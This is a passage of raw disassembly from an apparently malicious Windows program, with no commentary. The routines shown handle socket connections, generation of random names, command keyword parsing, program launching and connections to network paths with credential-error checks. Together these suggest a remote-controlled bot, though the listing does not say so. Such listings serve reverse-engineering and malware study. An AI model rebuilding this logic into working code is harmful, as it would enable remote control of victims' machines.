jz short loc_41B7A4
nop
call near ptr 71AB94DCh
cmp eax, 2733h
jz short loc_41B79D
mov [edi+ebp+1], bl
mov al, [esi]
cmp al, 0Ah
jz short loc_41B780
cmp al, 0Dh
jz short loc_41B780
cmp al, bl
jnz short loc_41B788
loc_41B780: ; CODE XREF: ___:0041B776j
; ___:0041B77Aj
mov [edi+ebp-1], bl
mov [esp+18h], bl
loc_41B788: ; CODE XREF: ___:0041B77Ej
mov edx, [esp+1Ch]
inc edi
inc esi
lea eax, [edx-1]
cmp edi, eax
jl short loc_41B73F
loc_41B795: ; CODE XREF: ___:0041B73Bj
; ___:0041B741j ...
mov eax, [esp+1Ch]
mov [eax+ebp-1], bl
loc_41B79D: ; CODE XREF: ___:0041B76Cj
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41B7A4: ; CODE XREF: ___:0041B75Aj
; ___:0041B75Fj
pop edi
pop esi
pop ebp
xor al, al
pop ebx
retn
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B7E0 proc near ; CODE XREF: sub_401280j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
push ebx
push ebp
mov ebp, [esp+8+arg_4]
push esi
xor ebx, ebx
xor esi, esi
dec eax
cmp eax, ebx
push edi
mov [ebp+0], bl
mov byte ptr [esp+10h+arg_4], 1
jle short loc_41B84A
mov edi, ebp
loc_41B7FF: ; CODE XREF: sub_41B7E0+68j
cmp edi, ebx
jz short loc_41B84A
cmp byte ptr [esp+10h+arg_4], bl
jz short loc_41B84A
mov ecx, [esp+10h+arg_0]
push ebx
push 1
push edi
push ecx
nop
call near ptr 71AB615Ah
test eax, eax
jz short loc_41B859
mov [esi+ebp+1], bl
mov al, [edi]
cmp al, 0Ah
jz short loc_41B82A
cmp al, bl
jnz short loc_41B83D
loc_41B82A: ; CODE XREF: sub_41B7E0+44j
cmp byte ptr [esi+ebp-1], 0Dh
jnz short loc_41B837
mov [esi+ebp-1], bl
jmp short loc_41B839
; ---------------------------------------------------------------------------
loc_41B837: ; CODE XREF: sub_41B7E0+4Fj
mov [edi], bl
loc_41B839: ; CODE XREF: sub_41B7E0+55j
mov byte ptr [esp+10h+arg_4], bl
loc_41B83D: ; CODE XREF: sub_41B7E0+48j
mov edx, [esp+10h+arg_8]
inc esi
inc edi
lea eax, [edx-1]
cmp esi, eax
jl short loc_41B7FF
loc_41B84A: ; CODE XREF: sub_41B7E0+1Bj
; sub_41B7E0+21j ...
mov eax, [esp+10h+arg_8]
pop edi
pop esi
mov [eax+ebp-1], bl
pop ebp
mov al, 1
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41B859: ; CODE XREF: sub_41B7E0+3Aj
pop edi
pop esi
pop ebp
xor al, al
pop ebx
retn
sub_41B7E0 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41B880: ; CODE XREF: ___:00401AF0j
push ebx
mov ebx, [esp+8]
push ebp
mov ebp, [esp+10h]
mov ecx, ebp
push esi
mov edx, ecx
push edi
xor eax, eax
mov edi, ebx
shr ecx, 2
rep stosd
mov ecx, edx
xor esi, esi
and ecx, 3
test ebp, ebp
rep stosb
jle short loc_41B8DB
loc_41B8A6: ; CODE XREF: ___:0041B8D9j
push 3
push 1
call sub_4021C6
; ---------------------------------------------------------------------------
add esp, 8
dec eax
jz short loc_41B8C7
dec eax
jz short loc_41B8C1
dec eax
jnz short loc_41B8D6
push 7Ah
push 61h
jmp short loc_41B8CB
; ---------------------------------------------------------------------------
loc_41B8C1: ; CODE XREF: ___:0041B8B6j
push 5Ah
push 41h
jmp short loc_41B8CB
; ---------------------------------------------------------------------------
loc_41B8C7: ; CODE XREF: ___:0041B8B3j
push 39h
push 30h
loc_41B8CB: ; CODE XREF: ___:0041B8BFj
; ___:0041B8C5j
call sub_4021C6
; ---------------------------------------------------------------------------
add esp, 8
mov [esi+ebx], al
loc_41B8D6: ; CODE XREF: ___:0041B8B9j
inc esi
cmp esi, ebp
jl short loc_41B8A6
loc_41B8DB: ; CODE XREF: ___:0041B8A4j
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B900 proc near ; CODE XREF: sub_401424j
rdtsc
retn
sub_41B900 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B920 proc near ; CODE XREF: sub_4017FDj
var_4 = dword ptr -4
sub esp, 8
push ebx
mov ebx, dword_5118D8
push ebp
push esi
push edi
xor ebp, ebp
loc_41B92F: ; CODE XREF: sub_41B920+43j
; sub_41B920+4Dj
call sub_401424
push 3E8h
mov esi, eax
mov edi, edx
call ebx
call sub_401424
sub eax, esi
push ebp
sbb edx, edi
push 186A0h
push edx
push eax
call sub_437C60
push ebp
push 0Ah
push edx
push eax
call sub_437C60
cmp edx, ebp
mov esi, eax
ja short loc_41B92F
jb short loc_41B96F
cmp esi, 0F4240h
ja short loc_41B92F
loc_41B96F: ; CODE XREF: sub_41B920+45j
push ebp
push 64h
push edx
push esi
call sub_437BE0
mov ecx, eax
cmp edx, ebp
mov eax, 64h
mov [esp+18h+var_4], ebp
ja short loc_41B9F9
jb short loc_41B98F
cmp ecx, 50h
jnb short loc_41B998
loc_41B98F: ; CODE XREF: sub_41B920+68j
mov eax, 4Bh
mov [esp+18h+var_4], ebp
loc_41B998: ; CODE XREF: sub_41B920+6Dj
cmp edx, ebp
ja short loc_41B9F9
jb short loc_41B9A3
cmp ecx, 47h
jnb short loc_41B9AC
loc_41B9A3: ; CODE XREF: sub_41B920+7Cj
mov eax, 42h
mov [esp+18h+var_4], ebp
loc_41B9AC: ; CODE XREF: sub_41B920+81j
cmp edx, ebp
ja short loc_41B9F9
jb short loc_41B9B7
cmp ecx, 37h
jnb short loc_41B9C0
loc_41B9B7: ; CODE XREF: sub_41B920+90j
mov eax, 32h
mov [esp+18h+var_4], ebp
loc_41B9C0: ; CODE XREF: sub_41B920+95j
cmp edx, ebp
ja short loc_41B9F9
jb short loc_41B9CB
cmp ecx, 26h
jnb short loc_41B9D4
loc_41B9CB: ; CODE XREF: sub_41B920+A4j
mov eax, 21h
mov [esp+18h+var_4], ebp
loc_41B9D4: ; CODE XREF: sub_41B920+A9j
cmp edx, ebp
ja short loc_41B9F9
jb short loc_41B9DF
cmp ecx, 1Eh
jnb short loc_41B9E8
loc_41B9DF: ; CODE XREF: sub_41B920+B8j
mov eax, 19h
mov [esp+18h+var_4], ebp
loc_41B9E8: ; CODE XREF: sub_41B920+BDj
cmp edx, ebp
ja short loc_41B9F9
jb short loc_41B9F3
cmp ecx, 0Ah
jnb short loc_41B9F9
loc_41B9F3: ; CODE XREF: sub_41B920+CCj
xor eax, eax
mov [esp+18h+var_4], ebp
loc_41B9F9: ; CODE XREF: sub_41B920+66j
; sub_41B920+7Aj ...
sub eax, ecx
pop edi
add eax, esi
pop esi
pop ebp
pop ebx
add esp, 8
retn
sub_41B920 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41BA50 proc near ; CODE XREF: sub_402040j
var_40 = dword ptr -40h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 0FFFFFFFFh
push offset SEH_41BA50
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 34h
mov al, byte_449729
push ebx
push esi
push edi
test al, al
mov [esp+4Ch+var_40], 0
jz loc_41BBAF
push ebp
lea ecx, [esp+50h+var_3C]
call sub_40142E
push 400h
lea ecx, [esp+54h+var_3C]
mov [esp+54h+var_4], 1
xor bl, bl
call sub_401C71
mov ebp, eax
call sub_401F0A
lea ecx, [esp+50h+var_3C]
call sub_4013E3
mov [esp+50h+arg_4], eax
lea eax, [esp+50h+arg_4]
push eax
push ebp
call near ptr 28110A9h
nop
test eax, eax
jnz short loc_41BAE6
mov edi, offset byte_448F30
or ecx, 0FFFFFFFFh
repne scasb
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
loc_41BAE6: ; CODE XREF: sub_41BA50+74j
movsx ecx, byte ptr [ebp+0]
mov eax, 41h
loc_41BAEF: ; CODE XREF: sub_41BA50+A9j
cmp ecx, eax
jnz short loc_41BAF5
mov bl, 1
loc_41BAF5: ; CODE XREF: sub_41BA50+A1j
inc eax
cmp eax, 5Bh
jl short loc_41BAEF
mov eax, 61h
loc_41BB00: ; CODE XREF: sub_41BA50+BAj
cmp ecx, eax
jnz short loc_41BB06
mov bl, 1
loc_41BB06: ; CODE XREF: sub_41BA50+B2j
inc eax
cmp eax, 7Bh
jl short loc_41BB00
test bl, bl
jnz short loc_41BB32
mov edi, offset byte_448F30
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
loc_41BB32: ; CODE XREF: sub_41BA50+BEj
mov esi, dword_511AC8
call esi ; rand
cdq
mov ecx, 0Ah
idiv ecx
lea ecx, [esp+50h+var_3C]
push edx
call sub_401140
call esi ; rand
cdq
mov ecx, 0Ah
idiv ecx
lea ecx, [esp+50h+var_3C]
push edx
call sub_401140
call esi ; rand
cdq
mov ecx, 0Ah
idiv ecx
lea ecx, [esp+50h+var_3C]
push edx
call sub_401140
mov esi, [esp+50h+arg_0]
lea edx, [esp+50h+var_3C]
push edx
mov ecx, esi
call sub_4014D3
mov [esp+50h+var_40], 1
lea ecx, [esp+50h+var_3C]
mov byte ptr [esp+50h+var_4], 0
call sub_401226
pop ebp
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, [esp+40h+var_C]
mov large fs:0, ecx
add esp, 40h
retn
; ---------------------------------------------------------------------------
loc_41BBAF: ; CODE XREF: sub_41BA50+2Aj
lea ecx, [esp+4Ch+var_24]
call sub_40142E
mov ebx, 2
mov [esp+4Ch+var_4], ebx
nop
call near ptr 27F0CAAh
push eax
call near ptr 77C371BCh
nop
mov edi, dword_511AC8
add esp, 4
call edi ; rand
cdq
mov ecx, 3
idiv ecx
lea ecx, [esp+4Ch+var_24]
mov esi, edx
mov edx, [esp+4Ch+arg_4]
push edx
add esi, 6
call sub_4015E1
test esi, esi
jle short loc_41BC4E
loc_41BBF8: ; CODE XREF: sub_41BA50+1FCj
lea ecx, [esp+4Ch+var_3C]
call sub_40142E
lea eax, [esp+4Ch+var_24]
lea ecx, [esp+4Ch+var_3C]
push eax
mov byte ptr [esp+50h+var_4], 3
call sub_401FDC
call edi ; rand
cdq
mov ecx, 1Ah
idiv ecx
lea ecx, [esp+4Ch+var_3C]
add edx, 61h
push edx
call sub_4017EE
push eax
lea edx, [esp+54h+var_24]
push offset dword_444E54
push edx
call sub_40102D
add esp, 10h
lea ecx, [esp+4Ch+var_3C]
mov byte ptr [esp+4Ch+var_4], bl
call sub_401226
dec esi
jnz short loc_41BBF8
loc_41BC4E: ; CODE XREF: sub_41BA50+1A6j
mov esi, [esp+4Ch+arg_0]
lea eax, [esp+4Ch+var_24]
push eax
mov ecx, esi
call sub_4014D3
lea ecx, [esp+4Ch+var_24]
mov [esp+4Ch+var_40], 1
mov byte ptr [esp+4Ch+var_4], 0
call sub_401226
mov ecx, [esp+4Ch+var_C]
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
add esp, 40h
retn
sub_41BA50 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 90h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41BD20: ; CODE XREF: ___:00401573j
mov al, [esp+4]
cmp al, 20h
jz short loc_41BD2F
cmp al, 9
jz short loc_41BD2F
xor al, al
retn
; ---------------------------------------------------------------------------
loc_41BD2F: ; CODE XREF: ___:0041BD26j
; ___:0041BD2Aj
mov al, 1
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41BD50: ; CODE XREF: ___:00401EF6j
mov eax, [esp+4]
push offset dword_444E5C
push eax
nop
call near ptr 77C3F010h
add esp, 8
test eax, eax
jz short loc_41BD74
push eax
call near ptr 77C40AB1h
nop
add esp, 4
mov al, 1
retn
; ---------------------------------------------------------------------------
loc_41BD74: ; CODE XREF: ___:0041BD65j
xor al, al
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41BD90 proc near ; CODE XREF: sub_401483j
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_20 = byte ptr -20h
arg_0 = dword ptr 4
sub esp, 30h
push ebx
push ebp
push esi
push edi
mov edi, [esp+40h+arg_0]
test edi, edi
jz loc_41BFEE
mov esi, offset byte_448F30
mov eax, edi
loc_41BDAA: ; CODE XREF: sub_41BD90+3Cj
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_41BDD2
test cl, cl
jz short loc_41BDCE
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_41BDD2
add eax, 2
add esi, 2
test cl, cl
jnz short loc_41BDAA
loc_41BDCE: ; CODE XREF: sub_41BD90+26j
xor eax, eax
jmp short loc_41BDD7
; ---------------------------------------------------------------------------
loc_41BDD2: ; CODE XREF: sub_41BD90+22j
; sub_41BD90+32j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_41BDD7: ; CODE XREF: sub_41BD90+40j
test eax, eax
jz loc_41BFEE
push 20h
lea eax, [esp+44h+var_20]
push edi
push eax
nop
call near ptr 77C47A90h
mov edi, dword_511B00
lea ecx, [esp+4Ch+var_20]
push offset dword_4447F8
push ecx
call edi ; strtok
add esp, 14h
mov [esp+40h+var_30], eax
test eax, eax
jz loc_41BFEE
mov ebx, 1
lea esi, [esp+40h+var_2C]
loc_41BE17: ; CODE XREF: sub_41BD90+A4j
push offset dword_4447F8
push 0
call edi ; strtok
add esp, 8
mov [esi], eax
test eax, eax
jz loc_41BFEE
inc ebx
add esi, 4
cmp ebx, 4
jl short loc_41BE17
mov ebp, [esp+40h+var_30]
mov esi, offset dword_444E78
mov eax, ebp
loc_41BE41: ; CODE XREF: sub_41BD90+D3j
mov cl, [eax]
mov bl, [esi]
mov dl, cl
cmp cl, bl
jnz short loc_41BE69
test dl, dl
jz short loc_41BE65
mov cl, [eax+1]
mov bl, [esi+1]
mov dl, cl
cmp cl, bl
jnz short loc_41BE69
add eax, 2
add esi, 2
test dl, dl
jnz short loc_41BE41
loc_41BE65: ; CODE XREF: sub_41BD90+BDj
xor eax, eax
jmp short loc_41BE6E
; ---------------------------------------------------------------------------
loc_41BE69: ; CODE XREF: sub_41BD90+B9j
; sub_41BD90+C9j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_41BE6E: ; CODE XREF: sub_41BD90+D7j
test eax, eax
jnz short loc_41BE7C
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 30h
retn
; ---------------------------------------------------------------------------
loc_41BE7C: ; CODE XREF: sub_41BD90+E0j
mov esi, offset dword_444E74
mov eax, ebp
loc_41BE83: ; CODE XREF: sub_41BD90+115j
mov cl, [eax]
mov bl, [esi]
mov dl, cl
cmp cl, bl
jnz short loc_41BEAB
test dl, dl
jz short loc_41BEA7
mov cl, [eax+1]
mov bl, [esi+1]
mov dl, cl
cmp cl, bl
jnz short loc_41BEAB
add eax, 2
add esi, 2
test dl, dl
jnz short loc_41BE83
loc_41BEA7: ; CODE XREF: sub_41BD90+FFj
xor eax, eax
jmp short loc_41BEB0
; ---------------------------------------------------------------------------
loc_41BEAB: ; CODE XREF: sub_41BD90+FBj
; sub_41BD90+10Bj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_41BEB0: ; CODE XREF: sub_41BD90+119j
mov edi, [esp+40h+var_2C]
test eax, eax
jnz short loc_41BEFA
mov esi, offset dword_444E70
mov edx, edi
loc_41BEBF: ; CODE XREF: sub_41BD90+151j
mov al, [edx]
mov cl, [esi]
mov bl, al
cmp al, cl
jnz short loc_41BEE7
test bl, bl
jz short loc_41BEE3
mov cl, [edx+1]
mov al, [esi+1]
mov bl, cl
cmp cl, al
jnz short loc_41BEE7
add edx, 2
add esi, 2
test bl, bl
jnz short loc_41BEBF
loc_41BEE3: ; CODE XREF: sub_41BD90+13Bj
xor edx, edx
jmp short loc_41BEEC
; ---------------------------------------------------------------------------
loc_41BEE7: ; CODE XREF: sub_41BD90+137j
; sub_41BD90+147j
sbb edx, edx
sbb edx, 0FFFFFFFFh
loc_41BEEC: ; CODE XREF: sub_41BD90+155j
test edx, edx
jnz short loc_41BEFA
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 30h
retn
; ---------------------------------------------------------------------------
loc_41BEFA: ; CODE XREF: sub_41BD90+126j
; sub_41BD90+15Ej
mov esi, offset dword_444E6C
mov edx, ebp
loc_41BF01: ; CODE XREF: sub_41BD90+193j
mov al, [edx]
mov cl, [esi]
mov bl, al
cmp al, cl
jnz short loc_41BF29
test bl, bl
jz short loc_41BF25
mov cl, [edx+1]
mov al, [esi+1]
mov bl, cl
cmp cl, al
jnz short loc_41BF29
add edx, 2
add esi, 2
test bl, bl
jnz short loc_41BF01
loc_41BF25: ; CODE XREF: sub_41BD90+17Dj
xor edx, edx
jmp short loc_41BF2E
; ---------------------------------------------------------------------------
loc_41BF29: ; CODE XREF: sub_41BD90+179j
; sub_41BD90+189j
sbb edx, edx
sbb edx, 0FFFFFFFFh
loc_41BF2E: ; CODE XREF: sub_41BD90+197j
test edx, edx
jnz short loc_41BF74
mov esi, offset dword_444E68
mov edx, edi
loc_41BF39: ; CODE XREF: sub_41BD90+1CBj
mov al, [edx]
mov cl, [esi]
mov bl, al
cmp al, cl
jnz short loc_41BF61
test bl, bl
jz short loc_41BF5D
mov cl, [edx+1]
mov al, [esi+1]
mov bl, cl
cmp cl, al
jnz short loc_41BF61
add edx, 2
add esi, 2
test bl, bl
jnz short loc_41BF39
loc_41BF5D: ; CODE XREF: sub_41BD90+1B5j
xor edx, edx
jmp short loc_41BF66
; ---------------------------------------------------------------------------
loc_41BF61: ; CODE XREF: sub_41BD90+1B1j
; sub_41BD90+1C1j
sbb edx, edx
sbb edx, 0FFFFFFFFh
loc_41BF66: ; CODE XREF: sub_41BD90+1CFj
test edx, edx
jnz short loc_41BF74
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 30h
retn
; ---------------------------------------------------------------------------
loc_41BF74: ; CODE XREF: sub_41BD90+1A0j
; sub_41BD90+1D8j
mov esi, offset dword_444E64
mov ecx, ebp
loc_41BF7B: ; CODE XREF: sub_41BD90+20Dj
mov al, [ecx]
mov bl, [esi]
mov dl, al
cmp al, bl
jnz short loc_41BFA3
test dl, dl
jz short loc_41BF9F
mov al, [ecx+1]
mov bl, [esi+1]
mov dl, al
cmp al, bl
jnz short loc_41BFA3
add ecx, 2
add esi, 2
test dl, dl
jnz short loc_41BF7B
loc_41BF9F: ; CODE XREF: sub_41BD90+1F7j
xor ecx, ecx
jmp short loc_41BFA8
; ---------------------------------------------------------------------------
loc_41BFA3: ; CODE XREF: sub_41BD90+1F3j
; sub_41BD90+203j
sbb ecx, ecx
sbb ecx, 0FFFFFFFFh
loc_41BFA8: ; CODE XREF: sub_41BD90+211j
test ecx, ecx
jnz short loc_41BFEE
mov esi, offset dword_444E60
mov eax, edi
loc_41BFB3: ; CODE XREF: sub_41BD90+245j
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_41BFDB
test cl, cl
jz short loc_41BFD7
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_41BFDB
add eax, 2
add esi, 2
test cl, cl
jnz short loc_41BFB3
loc_41BFD7: ; CODE XREF: sub_41BD90+22Fj
xor eax, eax
jmp short loc_41BFE0
; ---------------------------------------------------------------------------
loc_41BFDB: ; CODE XREF: sub_41BD90+22Bj
; sub_41BD90+23Bj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_41BFE0: ; CODE XREF: sub_41BD90+249j
test eax, eax
jnz short loc_41BFEE
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 30h
retn
; ---------------------------------------------------------------------------
loc_41BFEE: ; CODE XREF: sub_41BD90+Dj
; sub_41BD90+49j ...
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 30h
retn
sub_41BD90 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 0A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41C0A0 proc near ; CODE XREF: sub_402022j
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 10h
push ebx
push esi
push 6
push 1
push 2
xor bl, bl
call near ptr 71AB3B91h
nop
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_41C108
cmp esi, 0FFFFFFFFh
jz short loc_41C108
mov eax, [esp+18h+arg_0]
push eax
nop
call near ptr 71AB2BF4h
mov ecx, [esp+18h+arg_4]
mov [esp+18h+var_C], eax
push ecx
nop
call near ptr 71AB2B66h
lea edx, [esp+18h+var_10]
push 10h
push edx
push esi
mov [esp+24h+var_E], ax
mov [esp+24h+var_10], 2
nop
call near ptr 71AB406Ah
test eax, eax
jnz short loc_41C0F9
mov bl, 1
loc_41C0F9: ; CODE XREF: sub_41C0A0+55j
push esi
nop
call near ptr 71AB9639h
mov al, bl
pop esi
pop ebx
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_41C108: ; CODE XREF: sub_41C0A0+18j
; sub_41C0A0+1Dj
pop esi
xor al, al
pop ebx
add esp, 10h
retn
sub_41C0A0 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41C130 proc near ; CODE XREF: sub_401299j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push 0
push 0
push eax
push ecx
push offset aOpen ; "open"
push 0
nop
call near ptr 7CA41110h
cmp eax, 20h
setnl al
retn
sub_41C130 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41C170 proc near ; CODE XREF: sub_402167j
var_54 = byte ptr -54h
var_44 = dword ptr -44h
var_14 = word ptr -14h
arg_0 = dword ptr 4
sub esp, 54h
push edi
mov ecx, 11h
xor eax, eax
lea edi, [esp+58h+var_44]
rep stosd
mov [esp+58h+var_14], ax
lea eax, [esp+58h+var_54]
mov edx, [esp+58h+arg_0]
lea ecx, [esp+58h+var_44]
push eax
push ecx
push 0
push 0
push 28h
push 0
push 0
push 0
push edx
push 0
mov [esp+80h+var_44], 44h
nop
call near ptr 2800473h
test eax, eax
setnle al
pop edi
add esp, 54h
retn
sub_41C170 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41C1E0: ; CODE XREF: ___:00401884j
sub esp, 354h
mov eax, off_444E84
mov ecx, off_444E88
mov [esp+0], eax
mov al, byte_448F30
push esi
push edi
mov [esp+0Ch], ecx
mov [esp+14h], al
mov ecx, 45h
xor eax, eax
lea edi, [esp+15h]
mov edx, dword_444E8C
rep stosd
mov ecx, off_444E7C
mov [esp+10h], edx
mov dx, word_444E80
mov [esp+12Ch], ecx
stosw
stosb
mov ecx, 8Ah
xor eax, eax
lea edi, [esp+132h]
mov [esp+130h], dx
rep stosd
mov ecx, [esp+360h]
push 0FFh
stosw
lea eax, [esp+18h]
xor edi, edi
push eax
push 0FFFFFFFFh
push ecx
push edi
push edi
call near ptr 27C0000h
nop
mov esi, dword_511AB8
lea edx, [esp+14h]
lea eax, [esp+12Ch]
push edx
push eax
call esi ; wcscat
lea ecx, [esp+10h]
lea edx, [esp+134h]
push ecx
push edx
call esi ; wcscat
mov esi, [esp+374h]
add esp, 10h
lea eax, [esp+12Ch]
push edi
push offset dword_50DB4C
push offset dword_50DB4C
push esi
mov [esi+4], edi
mov [esi+10h], edi
mov [esi+14h], eax
mov [esi+1Ch], edi
call sub_43829E
; ---------------------------------------------------------------------------
cmp eax, 5
jz short loc_41C2C8
cmp eax, 4C3h
jnz short loc_41C2D1
loc_41C2C8: ; CODE XREF: ___:0041C2BFj
push edi
push edi
push edi
push esi
call sub_43829E
; ---------------------------------------------------------------------------
loc_41C2D1: ; CODE XREF: ___:0041C2C6j
pop edi
cmp eax, 5
pop esi
jz short loc_41C2E8
cmp eax, 4C3h
jz short loc_41C2E8
mov al, 1
add esp, 354h
retn
; ---------------------------------------------------------------------------
loc_41C2E8: ; CODE XREF: ___:0041C2D6j
; ___:0041C2DDj
xor al, al
add esp, 354h
retn
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41C350: ; CODE XREF: ___:00401EE7j
sub esp, 354h
mov eax, off_444E84
mov ecx, off_444E88
mov [esp+0], eax
mov al, byte_448F30
push esi
push edi
mov [esp+0Ch], ecx
mov [esp+14h], al
mov ecx, 45h
xor eax, eax
lea edi, [esp+15h]
mov edx, dword_444E8C
rep stosd
mov ecx, off_444E7C
mov [esp+10h], edx
mov dx, word_444E80
mov [esp+12Ch], ecx
stosw
stosb
mov ecx, 8Ah
xor eax, eax
lea edi, [esp+132h]
mov [esp+130h], dx
rep stosd
mov ecx, [esp+360h]
push 0FFh
stosw
lea eax, [esp+18h]
push eax
push 0FFFFFFFFh
push ecx
push 0
push 0
nop
call near ptr 27C0000h
mov esi, dword_511AB8
lea edx, [esp+14h]
lea eax, [esp+12Ch]
push edx
push eax
call esi ; wcscat
lea ecx, [esp+10h]
lea edx, [esp+134h]
push ecx
push edx
call esi ; wcscat
add esp, 10h
lea eax, [esp+12Ch]
push 0
push 0
push eax
call sub_4382A4
; ---------------------------------------------------------------------------
test eax, eax
jz short loc_41C438
mov esi, dword_5118D8
loc_41C41C: ; CODE XREF: ___:0041C436j
push 7D0h
call esi
push 0
lea ecx, [esp+130h]
push 0
push ecx
call sub_4382A4
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_41C41C
loc_41C438: ; CODE XREF: ___:0041C414j
pop edi
mov al, 1
pop esi
add esp, 354h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_41C490 proc near ; CODE XREF: sub_401D93j
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41C490
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push edi
push 0
push 0Ch
push 4
push 4Fh
push 10h
push 14h
lea eax, [esp+5Ch+var_3C]
push 6
mov esi, ecx
push eax
call sub_4019C4
add esp, 20h
push esi
mov ecx, eax
mov [esp+48h+var_4], 0
call sub_4017EE
lea ecx, [esi+0BCh]
push eax
push ecx
mov ecx, offset dword_449118
call sub_40159B
sub_41C490 endp
; ---------------------------------------------------------------------------
or edi, 0FFFFFFFFh
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 5
push 18h
push 5
push 4Fh
push 10h
push 14h
lea edx, [esp+24h]
push 6
push edx
call sub_4019C4
add esp, 24h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 1
call sub_4017EE
push eax
lea eax, [esi+118h]
push eax
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 10h
push 15h
push 4Fh
push 10h
push 14h
lea ecx, [esp+20h]
push 6
push ecx
call sub_4019C4
add esp, 20h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 2
call sub_4017EE
lea edx, [esi+0EAh]
push eax
push edx
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 0Ch
push 4
push 4Fh
push 10h
push 14h
push 14h
lea eax, [esp+24h]
push 8
push eax
call sub_4019C4
add esp, 24h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 3
call sub_4017EE
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 5
push 18h
push 5
push 4Fh
push 10h
push 14h
push 14h
lea edx, [esp+28h]
push 8
push edx
call sub_4019C4
add esp, 28h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 4
call sub_4017EE
push eax
lea eax, [esi+60h]
push eax
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 5
push 14h
push 1
push 4
push 10h
push 15h
push 4Fh
push 10h
push 14h
push 14h
lea ecx, [esp+4Ch]
push 8
push ecx
call sub_4019C4
add esp, 34h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 5
call sub_4017EE
add esi, 32h
push eax
push esi
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+20h]
mov [esp+40h], edi
call sub_401226
mov ecx, [esp+38h]
